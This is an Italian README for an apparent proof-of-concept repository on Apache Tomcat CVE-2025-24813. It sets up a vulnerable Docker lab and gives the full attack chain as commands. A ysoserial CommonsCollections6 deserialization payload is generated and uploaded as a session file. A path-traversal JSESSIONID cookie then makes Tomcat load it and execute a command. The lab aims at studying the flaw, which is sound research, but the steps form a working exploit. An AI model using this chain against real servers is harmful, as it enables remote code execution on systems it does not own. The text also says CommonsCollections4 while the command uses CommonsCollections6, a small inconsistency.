
Proof-of-concept che dimostra Apache Tomcat CVE-2025-24813, sfruttando la PUT insicura di DefaultServlet e la deserializzazione della sessione per ottenere l'esecuzione remota di codice.
Questo repository contiene una semplice applicazione costruita per osservare il comportamento di CVE-2025-24813, una vulnerabilità recente in Apache Tomcat relativa all'uso del DefaultServlet con scrittura abilitata (readonly=false), che consente operazioni di scrittura non sicure tramite HTTP PUT (con supporto di partial PUT / Content-Range) che possono portare alla sovrascrittura di file sensibili, inclusi file di sessione — consentendo scenari di RCE in caso di deserializzazione malevola.
L'applicazione utilizza:
| Componente | Funzione |
|---|
| Tomcat 9 + JDK 11 | Server vulnerabile usato come bersaglio |
context.xml | Abilita PersistentManager + FileStore salvando sessioni su disco |
upload.jsp | Endpoint semplice che riceve dati e salva su disco |
/tmp/app-data/ | Directory in cui verranno salvati gli upload |
L'idea iniziale è osservare come Tomcat gestisce i file in un ambiente configurato per lo studio del CVE — iniziando con una richiesta benigna, che salva solo un file in modo controllato (senza tentativo di exploit) E subito dopo un file malevolo.
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
In un altro terminale esegui i comandi seguenti.
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
Invieremo un file semplice per osservare il comportamento normale.
Upload inviando una stringa
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
Se tutto è corretto, nel terminale che esegue strace non dovrebbe apparire nulla.
Nota: Se compaiono errori SIGSEGV in strace, ignora. Sono rumore della JVM.
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
Qui usiamo la catena CommonsCollections4 per generare un oggetto che, in uno scenario vulnerabile, potrebbe eseguire il comando touch /tmp/RCE. Il payload sarà salvato come hack.session.
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Se il comando precedente dà errore, è perché per garantire la compatibilità con versioni moderne di Java (9+), è necessario aggiungere il flag --add-opens per disattivare l'incapsulamento forte (JPMS), che altrimenti bloccherebbe la riflessione usata da ysoserial.
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
Dopo questo comando avrai un file binario locale:
hack.session
Inviiamo il file .session all'endpoint JSP, che salva il contenuto direttamente nella directory /tmp/app-data.
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
Output atteso:
Arquivo salvo com sucesso em: /tmp/app-data/hack.session
📌 A questo punto nessun comando viene eseguito — è avvenuta solo la scrittura del file sul server.
Ora facciamo una richiesta inviando il cookie JSESSIONID=hack, cercando di forzare Tomcat a caricare la sessione appena creata.
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
Nel terminale di strace dovrebbero essere apparsi comandi execve che creano il file.
Per verificare se il file è stato creato, possiamo anche entrare nel container e controllare
docker exec -it toy-cve ls -l /tmp/